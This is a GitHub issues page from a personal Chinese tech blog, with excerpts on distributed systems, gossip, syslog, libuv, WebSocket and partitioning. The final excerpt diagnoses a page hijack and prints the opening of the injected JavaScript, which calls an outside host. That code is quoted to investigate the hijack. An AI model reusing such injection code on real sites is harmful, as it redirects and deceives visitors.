abbshr.github.io icon indicating copy to clipboard operation
abbshr.github.io copied to clipboard

人们往往接受流行,不是因为想要与众不同,而是因为害怕与众不同

Results 58 abbshr.github.io issues
Sort by recently updated
recently updated
newest added

to all my friends 对最近周围的所见所闻发表一些看法。 我只想说,别当码农,也别把Geek当码农 除了会用C++/Java写非常非常牛逼的xxx管理系统,你还应该: - 放宽视野。难道C语言只是让你用来写黑框框的“用户级”程序?难道用C++和Java写xxx管理系统就算牛B?这是纯粹的扯淡。因为他们往往用来做一些他们更擅长的背后工作(详见:操作系统、硬件驱动、编译器/解释器、协议、数据持久化、I/O、Hack programs……) - 理解计算机的灵魂。计算机如何运作的?事件是如何被捕获的?系统内核是如何加载的?各个目录/文件是干啥的?Windows和Unix之间的差异究竟在哪里?为何都说Unix如此牛B而Windows弱的一B?一个程序是如何跑起来的?理解诸如此类理论会对问题的解决大有睥益。 - 善于应用。发现问题,并学以致用。 - 掌握至少一门脚本语言。写个爬虫还用Java,你开玩笑么。。拳击比赛分轻/中/重量级,程序语言也分,一些简单的工作完全没必要大动干戈,费时费力,动态/脚本语言在这里是个不错的选择。 - 学会自己解决问题。别一出问题就去拜大神,你是高智商动物,可以解决的。擅使Google/Baidu,加上自己的经验和掌握的知识。 - 扩展范围。技术流派千千万万,你必然不能全都掌握,甚至有些都没听说过。但是又不能拘泥与一个方面。如何学习?最好是沿着你的核心技术路线,一点点向外扩展,逐渐学习与之相关的理论/技术,将你主攻的技术/理论应用到各个/更广的方面,或者思考如何扩展他的应用范围,这样才算真正玩转。 - 编程解决问题。对于某些程序/系统中不喜欢的设计或你想要但没有的工具,你完全可以自己实现它并公之于众。把常用的命令集添加个alias等等。每次开热点你都一行一行的敲,不嫌麻烦么?为啥不写个shell脚本? - 擅使命令。Unix Shell真是提升工作效率的法宝。有好多人看我敲命令时不解,明明点击下鼠标就可以搞定,为啥要用Terminal?第一,命令提供了相对底层的控制操作和直接的功能设置,很多在图形界面很难完成或没法完成的任务在命令行里一行搞定。第二,各种命令的搭配组合完全能到达意想不到的效果与超高的效率,远比图形界面的操作快捷N倍。第三,因为偏底层的操作,经常使用他们使你更加深刻体会(或激发你去研究)操作系统和某些工具的工作原理,在今后的工作中能更容易的排除问题,修复bugs。第四,命令行提供了更多爱不释手的功能。第五,敲命令更Geek范儿。 - 客观且用心看待新的或旧的东西。别跟风,别人家说什么你就唱什么。大数据里有很多可以研究的方面,但没必要啥都扯上大数据吧?(同样,还有并行计算、分布式、机器学习、人工智能等高端的话题)新的东西未必都那么好,旧的东西也未必有想象的差,关键是看你怎么看待和发掘。 - 别被洗脑。虽然放在最后,但这是我最想说的一个之一。不说政界的XXX,我也不想谈那个,在大学被洗脑是常事,因为你整天泡在那种氛围里,想保持自我很难,除非你和周围产生极大的隔阂。对于学术/技术领域的洗脑,莫过于我上面提到的几种,不是我鄙视说那些高端的技术,我想说的是别盲目的做出选择,然后盲目的学习,最后盲目的跟着研究。你可能被那些又酷又彰显身份的高端大气的名词所吸引,但真正能搞的津津有味并有所成就的也就那么几个人。你可能心血来潮啥都想搞,但真正有能力、持之以恒且保持兴趣的也很少。如果你研究来研究去,本来底子就薄,还看啥都新鲜,被着人家牵着走,最终必然会一事无成,剩下的只能是迷茫和消沉。 最后附赠《黑客与画家》中的几段话:...

杂谈

广义上的分布式系统都是满足AP或CP的系统, 除了如交易等对强一致性敏感的系统之外, 大多数系统在海量数据处理&高并发请求的压力下都折衷选择了AP. trade-off就是在性能优先的前提下只要满足最终一致性即可. 相比严格要求强一致性的系统来说, 满足最终一致性的系统在理论设计上容易得多. gossip协议就是为了提供最终一致性保障而设计的, 并已广泛应用于追求性能的分布式系统中如cassandra,redis-cluster,consul,dynamo等. 不料Google上讲解gossip的文章不多, (为图方便)最开始学习时我找了不少资料, 多数是千篇一律的"点到为止". 后来不得不求助于paper原文,好在其中描述的十分严谨清晰, 方得点拨. ## 分类 我们先从gossip的分类说起. gossip分为两种: anti-entropy和rumor-mongering. 前者称为"反熵", 也是被最多采纳的gossip. 本质上很容易理解: 节点之间交换差异数据以达到状态的一致. 在anti-entropy的基础上, 又产生三种gossip模式: push, pull, pull/push. 表示任意两个节点之间如何进行gossip. 而后, 考虑到网络带宽与CPU时间的资源占用问题,...

logger
distributed system

> 学习分布式系统是一件很有意思的事, 期间你会发现曾经所学均有用武之地: 计算机组成原理,操作系统,数据结构与算法分析,计算机网络,并行计算,中间件等大学基础课程中理论与实践的精髓都将体现在最终的程序架构之中. ---- ran 还有几个月就毕业了, 对于我这种不读研的学生来说毕设就是对高等教育生涯的一个交代吧. 尽量让自己满意, 读了不少相关paper和业界实践日志, 也没少在调研和架构设计上下功夫, 所以这段时间也学了挺多东西,顺便把以前的知识捡了捡. 打算结合自己的体会和思维方式记录一下对分布式系统的理解与思考(可能夹杂一些其他技术方面的话题), 做一个阶段性总结. 目前还没有理清思路, 先画一副图, 接下来围绕图中话题展开发散性分享, 也会包括和 @NazcaLines 同学讨论的一些重要内容. ![default](https://cloud.githubusercontent.com/assets/3054411/14072592/9b264f5a-f4f4-11e5-929f-85e6014478e4.png)

logger
distributed system

### Chapter 3: 切换到分布式环境 前一部分主要是针对流控算法进行的介绍, 下面我们涉入分布式架构, 继续探讨分布式流控技术. 为了实现全局流控, 这里有两个方案可选: 方案A. 每个进程从一个存储系统中获取状态并独占它(加锁), 其他进程要等待这个进程读写等事务完成之后(释放锁)才能获取状态数据. 但这种方案丧失了可用性. 方案B. 进程之间独立, 各自维护自己的状态, 集群内周期性异步通讯以保持状态一致, 但这肯定会有不一致产生, 因此丧失了数据一致性. 所以借用CAP理论, **必须以牺牲一致性或可用性为代价**. 既然这样, 没必要追求完美了, 但我们仍然可以根据需求及使用场景灵活选择合适的策略. #### 精准流控 这里我们首先考虑设计精准流控的方案. 为啥要精准限流? > 涉及到money问题,...

idea
logger
thoughts and questions
traffic control
distributed system

水文一篇, 我也是近几天才开始搞, 里面很多细节与概念(如syslog, grok, elasticsearch等)没有过多挖掘, 挺多都是摘自官网的内容, 就当给初学者的介绍了~~ ### syslog简介 syslog是一个广泛用于os,network中的日志协议, 其中规定了日志的格式, 等级, 类型等等. Linux中通过守护进程rsyslogd实现了syslog的收集存储, rsyslogd可以写入系统日志到本地也可以远程传输到一个网络中的日志收集点. /etc/rsyslogd.conf, /etc/rsyslogd.d/存放了rsyslogd的配置. Linux中的syslog实体记录在/var/log目录下, 日志按类型等级分类为不同的文件, 如: ``` ├── auth.log ├── boot.log ├── bootstrap.log ├── dist-upgrade ├──...

logger
Log
数据处理

最近一直在忙, 闲暇之余也是东瞧西看, 涉略了不少新鲜的东西, 也无一例外都在广度而非深度. 我工的大三课程安排让生活很惬意, 今早刷了一圈~~全球最大的同性交友网站~~github, 偶遇**event-stream**, 将stream和functional programming结合, 充分发挥了Node stream和event driven pattern的优势和特点, 也体现了Unix中经典的设计哲学"do one thing and it well". 我喜欢这种编程方式, 这是一种符合人类原始思维的线性模式, 也就是说它属于synchronization. 并不是说我讨厌Node的asynchronous, 相反, 我觉得它(后者)更符合世界的本质(正如朴灵所言), 而事件恰巧就是连结异步空间的"虫洞", 把某一次元发生的情况直接传送到另一次元. 二者的有机结合成就了Node在I/O上的高效. 然而总是事与愿违, 纯粹异步编程并不是那么容易掌握的,...

Node
杂谈
Unix
stream & pipeline
Async

该PO为https://github.com/abbshr/abbshr.github.io/issues/26 续, 之前有一些重要内容没提到, 比如**epoll在libuv中是如何使用的**, 观察者函数定义等. 首先回顾事件循环的入口函数`uv_run`: (注: libuv v0.10.x) ``` c // src/unix/core.c: line 304 // uv_run int uv_run(uv_loop_t* loop, uv_run_mode mode) { int timeout; int r; int ran_pending; r...

Node
Linux
libuv
Sys Programming

# WebSocket over tls/ssl WebSocket协议的安全设计里规定了基于TLS/SSL的传输. 这种加密形式和HTTPS类似, 称作WSS. 在协议实现上该如何做呢? 其实这部分不是WebSocket要承担的, TLS(传输层加密)/SSL(安全套接层)很明显是在TCP之上做的一层数据加密处理, 即OSI七层模型中的**会话层**, 而诸如HTTP, WebSocket, FTP等协议则属于应用层, 所以安全不安全不在WebSocket本身. 高层的应用层协议能透明的创建于TLS协议之上。TLS协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商以及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性. 这正是HTTPS的实现机制. 下图清楚地描述了安全协议的架构: ``` +-------------------------------------------+ | WebSocket | HTTP | POP | IMAP | +-------------------------------------------+...

Node
WebSocket
网络
interview
thoughts and questions
面试问题总结

本来懒得记录这种命令介绍类的日志, 都是Google一大把一大把的文章. 但我对分区一向很谨慎, 为了防止今后重蹈覆辙, 还是决定把分区相关的步骤有条理的记一下. - Q: **如何对设备分区?** A: 1. 可以用经典的`fdisk `命令搞定. 子命令很简单, 忘记如何操作只需`m`就行,`p`是最常用的没有之一:查看设备当前的分区表. 现在fdisk很人性化, 分区时可以输入`+N`(比如`+2G`)来确定分区大小. 2. 相比之下`parted`命令更强, 支持2T以上的分区. 当然这是题外话, 简单的分区也是可以的. 子命令同样简单, `help`或者他的alias:`m`会告诉你想要的. 分区之后如果不想重启, 就手动刷新一下内核分区表(就是从硬盘分区表里重读一遍): `partprobe`. - Q: **如何建立文件系统?** A:...

Linux
System management

codecademy.com诡异的从正常页面跳转到空白,不知各位有没有遇到过.这是近期codecademy改版后出现的情况. 今天实在忍无可忍,因为`codecademy.com/learn`仍旧跳转到该死的空白页面. 几天前我就琢磨过究竟是怎么回事,可是心烦意乱也么摸出啥头绪.今天访问wunderlist.com/job这个页面时再次发生了这个情况,它依旧一副无辜的样子,被迫跳到了该死的劫持页.我本想体验一下Ruby有多Geek,现在搞的我恨不得立马砸烂codecademy服务器.慢慢冷静下来,我开始思考,这绝不应该是codecademy的过错!不是GFW就是流量攻击者来砸场子! 我曾怀疑过iptables,Chrome.不过立马否决了:iptables的所有规则都被我清除了,Chrome的`chrome://flags`标签页中恢复了默认设置,并把几乎所有被怀疑的扩展插件和应用都停用了,但情况仍旧和之前一个样. 第二步开始借助前端hack技术查找问题所在,可惜茫茫HTTP流中难以寻找线索,只在劫持页中得到这么一份html源代码: ``` html ``` 点进`action`字段中的超链接,发现每次都是个随机的网站,大都类似网上商城.但暂时也没摸到头绪便想其他办法了. 然后我想看看是不是网络或浏览器遭到攻击了.换了FireFox,同样的问题再次出现.又拿手机测试了一下,令我疑惑的是手机访问竟然成功了,learn那个页面始终是正常的,并没有发生跳转.看来网络环境和浏览器的问题可以排除了. 我的手机是Nexus 5 Android 4.4.4, 上网配置了fqrouter.当我想到fqrouter时,突然想到了这是不是GFW或ISP干的好事? 为了验证我的想法,我重新整理了思路寻找一个入手点.我再次hack那个页面,这次是从learn的源页面开始. 我留意到了加载过程中的流量走向中有一个名字特别的GET请求:`220.167.100.204`,于是我顺着它的remote ip直接从浏览器中进行访问,结果不出我所料,这个ip地址跳到了`localhost`,当我在原始页面再入后重新启动流量监控,又发现了这个到`220.167.100.204`的请求.果然这里面有猫腻. ![ansily1](https://cloud.githubusercontent.com/assets/3054411/4039885/d3b9c34e-2cd5-11e4-991e-2f4f6e0c8e7a.png) 查看了一下响应内容,竟然是个JavaScript脚本! 内容如下,省略了部分: ``` js document.write(""); var sl_url = "http://p1.0817tt.com/fshowurl.php?id=179075"; function SLP(url,...

前端
网络
脚本加载
idea
logger